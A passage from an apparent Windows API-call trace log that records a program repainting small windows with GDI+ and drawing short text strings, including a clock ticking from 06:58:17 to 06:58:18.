CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0176.604] GetSystemMetrics (nIndex=42) returned 0 [0176.604] GetWindowTextW (in: hWnd=0x20238, lpString=0x19e870, nMaxCount=7 | out: lpString="FD1HVy") returned 6 [0176.604] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xd, wParam=0x7, lParam=0x19e870) returned 0x6 [0176.604] GetClientRect (in: hWnd=0x20238, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.604] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.604] GdipGetClip (graphics=0x6926780, region=0x6926af0) returned 0x0 [0176.604] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.604] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.604] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.604] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.604] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.604] LocalFree (hMem=0xf75be8) returned 0x0 [0176.604] GdipCombineRegionRegion (region=0x6926af0, region2=0x6926a60, combineMode=0x1) returned 0x0 [0176.604] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.604] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.604] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.604] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.604] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.604] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.604] GdipGetRegionHRgn (region=0x6926af0, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.604] GdipDeleteRegion (region=0x6926af0) returned 0x0 [0176.605] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.605] GetCurrentObject (hdc=0x7d010724, type=0x1) returned 0xb00017 [0176.605] GetCurrentObject (hdc=0x7d010724, type=0x2) returned 0x900010 [0176.605] GetCurrentObject (hdc=0x7d010724, type=0x7) returned 0x8050721 [0176.605] GetCurrentObject (hdc=0x7d010724, type=0x6) returned 0x8a01c2 [0176.605] SaveDC (hdc=0x7d010724) returned 1 [0176.605] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x360406fe [0176.605] GetClipRgn (hdc=0x7d010724, hrgn=0x360406fe) returned 0 [0176.605] SelectClipRgn (hdc=0x7d010724, hrgn=0x6e04070e) returned 2 [0176.605] DeleteObject (ho=0x360406fe) returned 1 [0176.605] DeleteObject (ho=0x6e04070e) returned 1 [0176.605] OffsetViewportOrgEx (in: hdc=0x7d010724, x=0, y=0, lppt=0x308ea90 | out: lppt=0x308ea90) returned 1 [0176.605] GetNearestColor (hdc=0x7d010724, color=0x323533) returned 0x323533 [0176.605] CreateSolidBrush (color=0x323533) returned 0x7c10073a [0176.605] FillRect (hDC=0x7d010724, lprc=0x19e7cc, hbr=0x7c10073a) returned 1 [0176.605] DeleteObject (ho=0x7c10073a) returned 1 [0176.605] RestoreDC (hdc=0x7d010724, nSavedDC=-1) returned 1 [0176.605] GdipReleaseDC (graphics=0x6926780, hdc=0x7d010724) returned 0x0 [0176.606] GdipRestoreGraphics (graphics=0x6926780, state=0xfcd00dbd) returned 0x0 [0176.606] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.606] GetWindowTextLengthW (hWnd=0x20238) returned 6 [0176.606] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0176.606] GetSystemMetrics (nIndex=42) returned 0 [0176.606] GetWindowTextW (in: hWnd=0x20238, lpString=0x19e870, nMaxCount=7 | out: lpString="FD1HVy") returned 6 [0176.606] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xd, wParam=0x7, lParam=0x19e870) returned 0x6 [0176.606] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.606] GetCurrentObject (hdc=0x7d010724, type=0x1) returned 0xb00017 [0176.606] GetCurrentObject (hdc=0x7d010724, type=0x2) returned 0x900010 [0176.606] GetCurrentObject (hdc=0x7d010724, type=0x7) returned 0x8050721 [0176.606] GetCurrentObject (hdc=0x7d010724, type=0x6) returned 0x8a01c2 [0176.606] SaveDC (hdc=0x7d010724) returned 1 [0176.606] GetNearestColor (hdc=0x7d010724, color=0xfdfdfa) returned 0xfdfdfa [0176.606] RestoreDC (hdc=0x7d010724, nSavedDC=-1) returned 1 [0176.606] GdipReleaseDC (graphics=0x6926780, hdc=0x7d010724) returned 0x0 [0176.607] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.607] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.607] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.607] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.607] GetCurrentObject (hdc=0x7d010724, type=0x1) returned 0xb00017 [0176.607] GetCurrentObject (hdc=0x7d010724, type=0x2) returned 0x900010 [0176.607] GetCurrentObject (hdc=0x7d010724, type=0x7) returned 0x8050721 [0176.607] GetCurrentObject (hdc=0x7d010724, type=0x6) returned 0x8a01c2 [0176.607] SaveDC (hdc=0x7d010724) returned 1 [0176.607] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.608] SelectObject (hdc=0x7d010724, h=0x450a062b) returned 0x8a01c2 [0176.608] DrawTextExW (in: hdc=0x7d010724, lpchText="FD1HVy", cchText=6, lprc=0x19e708, format=0x100000, lpdtp=0x308ef18 | out: lpchText="FD1HVy", lprc=0x19e708) returned 33 [0176.608] GdipReleaseDC (graphics=0x6926780, hdc=0x7d010724) returned 0x0 [0176.608] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.608] GdipReleaseDC (graphics=0x6926780, hdc=0x7d010724) returned 0x0 [0176.608] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.608] EndPaint (hWnd=0x20238, lpPaint=0x19e8c8) returned 1 [0176.609] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.609] IsWindowUnicode (hWnd=0x2023a) returned 1 [0176.609] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.609] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.609] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.609] BeginPaint (in: hWnd=0x2023a, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0176.609] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.609] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.609] GdipCreateFromHDC (hdc=0x80010724, graphics=0x19e8e4) returned 0x0 [0176.610] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.610] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=122, height=33, combineMode=0x0) returned 0x0 [0176.747] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.748] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6923a80) returned 0x0 [0176.748] GdipIsMatrixIdentity (matrix=0x6923a80, result=0x19e944) returned 0x0 [0176.748] GdipGetMatrixElements (matrix=0x6923a80, matrixOut=0xf75bb0) returned 0x0 [0176.748] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.748] GdipDeleteMatrix (matrix=0x6923a80) returned 0x0 [0176.748] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.748] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.748] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.748] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.748] GetWindowTextLengthW (hWnd=0x2023a) returned 9 [0176.748] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0176.748] GetSystemMetrics (nIndex=42) returned 0 [0176.748] GetWindowTextW (in: hWnd=0x2023a, lpString=0x19e86c, nMaxCount=10 | out: lpString="Helloy - ") returned 9 [0176.748] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0176.748] GetClientRect (in: hWnd=0x2023a, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.748] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.749] GdipGetClip (graphics=0x6926780, region=0x6926af0) returned 0x0 [0176.749] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.749] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.749] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.749] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.749] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.749] LocalFree (hMem=0xf75c20) returned 0x0 [0176.749] GdipCombineRegionRegion (region=0x6926af0, region2=0x6926a60, combineMode=0x1) returned 0x0 [0176.749] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.749] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.749] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.749] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.749] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.749] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.749] GdipGetRegionHRgn (region=0x6926af0, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.749] GdipDeleteRegion (region=0x6926af0) returned 0x0 [0176.749] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.749] GetCurrentObject (hdc=0x80010724, type=0x1) returned 0xb00017 [0176.749] GetCurrentObject (hdc=0x80010724, type=0x2) returned 0x900010 [0176.749] GetCurrentObject (hdc=0x80010724, type=0x7) returned 0x8050721 [0176.749] GetCurrentObject (hdc=0x80010724, type=0x6) returned 0x8a01c2 [0176.750] SaveDC (hdc=0x80010724) returned 1 [0176.750] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6f04070e [0176.750] GetClipRgn (hdc=0x80010724, hrgn=0x6f04070e) returned 0 [0176.750] SelectClipRgn (hdc=0x80010724, hrgn=0x380406fe) returned 2 [0176.750] DeleteObject (ho=0x6f04070e) returned 1 [0176.750] DeleteObject (ho=0x380406fe) returned 1 [0176.750] OffsetViewportOrgEx (in: hdc=0x80010724, x=0, y=0, lppt=0x308f29c | out: lppt=0x308f29c) returned 1 [0176.750] GetNearestColor (hdc=0x80010724, color=0x323533) returned 0x323533 [0176.750] CreateSolidBrush (color=0x323533) returned 0x7d10073a [0176.750] FillRect (hDC=0x80010724, lprc=0x19e7cc, hbr=0x7d10073a) returned 1 [0176.750] DeleteObject (ho=0x7d10073a) returned 1 [0176.750] RestoreDC (hdc=0x80010724, nSavedDC=-1) returned 1 [0176.750] GdipReleaseDC (graphics=0x6926780, hdc=0x80010724) returned 0x0 [0176.750] GdipRestoreGraphics (graphics=0x6926780, state=0xfcce0dbd) returned 0x0 [0176.750] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.753] GetWindowTextLengthW (hWnd=0x2023a) returned 9 [0176.753] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0176.753] GetSystemMetrics (nIndex=42) returned 0 [0176.753] GetWindowTextW (in: hWnd=0x2023a, lpString=0x19e86c, nMaxCount=10 | out: lpString="Helloy - ") returned 9 [0176.754] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0176.754] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.754] GetCurrentObject (hdc=0x80010724, type=0x1) returned 0xb00017 [0176.754] GetCurrentObject (hdc=0x80010724, type=0x2) returned 0x900010 [0176.754] GetCurrentObject (hdc=0x80010724, type=0x7) returned 0x8050721 [0176.754] GetCurrentObject (hdc=0x80010724, type=0x6) returned 0x8a01c2 [0176.754] SaveDC (hdc=0x80010724) returned 1 [0176.754] GetNearestColor (hdc=0x80010724, color=0xfdfdfa) returned 0xfdfdfa [0176.754] RestoreDC (hdc=0x80010724, nSavedDC=-1) returned 1 [0176.754] GdipReleaseDC (graphics=0x6926780, hdc=0x80010724) returned 0x0 [0176.754] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.755] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.755] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.755] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.755] GetCurrentObject (hdc=0x80010724, type=0x1) returned 0xb00017 [0176.755] GetCurrentObject (hdc=0x80010724, type=0x2) returned 0x900010 [0176.755] GetCurrentObject (hdc=0x80010724, type=0x7) returned 0x8050721 [0176.755] GetCurrentObject (hdc=0x80010724, type=0x6) returned 0x8a01c2 [0176.755] SaveDC (hdc=0x80010724) returned 1 [0176.755] GetTextAlign (hdc=0x80010724) returned 0x0 [0176.755] GetTextColor (hdc=0x80010724) returned 0x0 [0176.755] SetTextColor (hdc=0x80010724, color=0xfdfdfa) returned 0x0 [0176.755] GetCurrentObject (hdc=0x80010724, type=0x6) returned 0x8a01c2 [0176.755] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.755] SelectObject (hdc=0x80010724, h=0x450a062b) returned 0x8a01c2 [0176.755] GetBkMode (hdc=0x80010724) returned 2 [0176.755] SetBkMode (hdc=0x80010724, mode=1) returned 2 [0176.756] DrawTextExW (in: hdc=0x80010724, lpchText="Helloy - ", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x308f730 | out: lpchText="Helloy - ", lprc=0x19e708) returned 33 [0176.756] RestoreDC (hdc=0x80010724, nSavedDC=-1) returned 1 [0176.756] GdipReleaseDC (graphics=0x6926780, hdc=0x80010724) returned 0x0 [0176.756] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.756] BitBlt (hdc=0x60100ce, x=0, y=0, cx=122, cy=33, hdcSrc=0x80010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.756] GdipReleaseDC (graphics=0x6926780, hdc=0x80010724) returned 0x0 [0176.756] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.756] SelectObject (hdc=0x80010724, h=0x85000f) returned 0x8050721 [0176.756] DeleteDC (hdc=0x80010724) returned 1 [0176.756] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.757] EndPaint (hWnd=0x2023a, lpPaint=0x19e8c8) returned 1 [0176.757] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.757] IsWindowUnicode (hWnd=0x50074) returned 1 [0176.757] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.757] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.757] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.757] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0176.757] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0176.757] GetSystemMetrics (nIndex=42) returned 0 [0176.757] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:17") returned 8 [0176.757] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0176.757] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0176.757] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0176.757] GetSystemMetrics (nIndex=42) returned 0 [0176.757] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:17") returned 8 [0176.757] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0176.757] SetWindowTextW (hWnd=0x20236, lpString="06:58:18") returned 1 [0176.757] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x308f7b0) returned 0x1 [0176.758] GetStockObject (i=5) returned 0x900015 [0176.758] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0176.758] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0176.758] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0176.758] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0176.758] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0176.758] GetSystemMetrics (nIndex=42) returned 0 [0176.758] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:18") returned 8 [0176.758] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0176.758] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0176.758] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0176.759] SelectObject (hdc=0x8e0106dd, h=0x4f0a0711) returned 0x290a0756 [0176.759] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:18", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x308f9a0 | out: lpchText="06:58:18", lprc=0x19e938) returned 50 [0176.759] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0176.759] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0176.759] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.759] GetSystemMetrics (nIndex=42) returned 0 [0176.759] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0176.759] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0176.759] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.759] IsWindowUnicode (hWnd=0x20236) returned 1 [0176.759] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.759] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.759] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.759] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0176.760] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.760] CreateCompatibleDC (hdc=0x10105d6) returned 0x82010724 [0176.760] SelectObject (hdc=0x82010724, h=0x8050721) returned 0x85000f [0176.760] GdipCreateFromHDC (hdc=0x82010724, graphics=0x19e8e4) returned 0x0 [0176.760] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.760] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0176.760] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.760] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6923a80) returned 0x0 [0176.760] GdipIsMatrixIdentity (matrix=0x6923a80, result=0x19e944) returned 0x0 [0176.760] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.760] GdipGetMatrixElements (matrix=0x6923a80, matrixOut=0xf75be8) returned 0x0 [0176.760] LocalFree (hMem=0xf75be8) returned 0x0 [0176.760] GdipDeleteMatrix (matrix=0x6923a80) returned 0x0 [0176.760] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.760] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.760] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.760] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.761] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0176.761] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0176.761] GetSystemMetrics (nIndex=42) returned 0 [0176.761] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:18") returned 8 [0176.761] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0176.761] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.761] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.761] GdipGetClip (graphics=0x6926780, region=0x6926af0) returned 0x0 [0176.761] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.761] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.761] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.761] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.761] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.761] LocalFree (hMem=0xf75be8) returned 0x0 [0176.761] GdipCombineRegionRegion (region=0x6926af0, region2=0x6926a60, combineMode=0x1) returned 0x0 [0176.761] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.761] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.761] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.761] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.761] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.761] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.761] GdipGetRegionHRgn (region=0x6926af0, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.761] GdipDeleteRegion (region=0x6926af0) returned 0x0 [0176.762] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.762] GetCurrentObject (hdc=0x82010724, type=0x1) returned 0xb00017 [0176.762] GetCurrentObject (hdc=0x82010724, type=0x2) returned 0x900010 [0176.762] GetCurrentObject (hdc=0x82010724, type=0x7) returned 0x8050721 [0176.762] GetCurrentObject (hdc=0x82010724, type=0x6) returned 0x8a01c2 [0176.762] SaveDC (hdc=0x82010724) returned 1 [0176.762] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x390406fe [0176.762] GetClipRgn (hdc=0x82010724, hrgn=0x390406fe) returned 0 [0176.762] SelectClipRgn (hdc=0x82010724, hrgn=0x7204070e) returned 2 [0176.762] DeleteObject (ho=0x390406fe) returned 1 [0176.762] DeleteObject (ho=0x7204070e) returned 1 [0176.762] OffsetViewportOrgEx (in: hdc=0x82010724, x=0, y=0, lppt=0x308fd70 | out: lppt=0x308fd70) returned 1 [0176.762] GetNearestColor (hdc=0x82010724, color=0x22a3f8) returned 0x22a3f8 [0176.762] CreateSolidBrush (color=0x22a3f8) returned 0x7e10073a [0176.762] FillRect (hDC=0x82010724, lprc=0x19e7cc, hbr=0x7e10073a) returned 1 [0176.762] DeleteObject (ho=0x7e10073a) returned 1 [0176.762] RestoreDC (hdc=0x82010724, nSavedDC=-1) returned 1 [0176.762] GdipReleaseDC (graphics=0x6926780, hdc=0x82010724) returned 0x0 [0176.763] GdipRestoreGraphics (graphics=0x6926780, state=0xfccc0dbd) returned 0x0 [0176.763] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.763] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0176.763] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0176.763] GetSystemMetrics (nIndex=42) returned 0 [0176.763] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:18") returned 8 [0176.763] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0176.763] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.763] GetCurrentObject (hdc=0x82010724, type=0x1) returned 0xb00017 [0176.763] GetCurrentObject (hdc=0x82010724, type=0x2) returned 0x900010 [0176.763] GetCurrentObject (hdc=0x82010724, type=0x7) returned 0x8050721 [0176.763] GetCurrentObject (hdc=0x82010724, type=0x6) returned 0x8a01c2 [0176.763] SaveDC (hdc=0x82010724) returned 1 [0176.763] GetNearestColor (hdc=0x82010724, color=0x0) returned 0x0 [0176.763] RestoreDC (hdc=0x82010724, nSavedDC=-1) returned 1 [0176.763] GdipReleaseDC (graphics=0x6926780, hdc=0x82010724) returned 0x0 [0176.764] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.764] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.764] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.764] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.764] GetCurrentObject (hdc=0x82010724, type=0x1) returned 0xb00017 [0176.764] GetCurrentObject (hdc=0x82010724, type=0x2) returned 0x900010 [0176.764] GetCurrentObject (hdc=0x82010724, type=0x7) returned 0x8050721 [0176.764] GetCurrentObject (hdc=0x82010724, type=0x6) returned 0x8a01c2 [0176.764] SaveDC (hdc=0x82010724) returned 1 [0176.764] GetTextAlign (hdc=0x82010724) returned 0x0 [0176.764] GetTextColor (hdc=0x82010724) returned 0x0 [0176.764] GetCurrentObject (hdc=0x82010724, type=0x6) returned 0x8a01c2 [0176.764] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.765] SelectObject (hdc=0x82010724, h=0x4f0a0711) returned 0x8a01c2 [0176.765] GetBkMode (hdc=0x82010724) returned 2 [0176.765] SetBkMode (hdc=0x82010724, mode=1) returned 2 [0176.765] DrawTextExW (in: hdc=0x82010724, lpchText="06:58:18", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3090204 | out: lpchText="06:58:18", lprc=0x19e708) returned 50 [0176.765] RestoreDC (hdc=0x82010724, nSavedDC=-1) returned 1 [0176.765] GdipReleaseDC (graphics=0x6926780, hdc=0x82010724) returned 0x0 [0176.765] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.765] BitBlt (hdc=0x10105d6, x=0, y=0, cx=154, cy=50, hdcSrc=0x82010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.765] GdipReleaseDC (graphics=0x6926780, hdc=0x82010724) returned 0x0 [0176.765] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.766] SelectObject (hdc=0x82010724, h=0x85000f) returned 0x8050721 [0176.766] DeleteDC (hdc=0x82010724) returned 1 [0176.766] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.766] EndPaint (hWnd=0x20236, 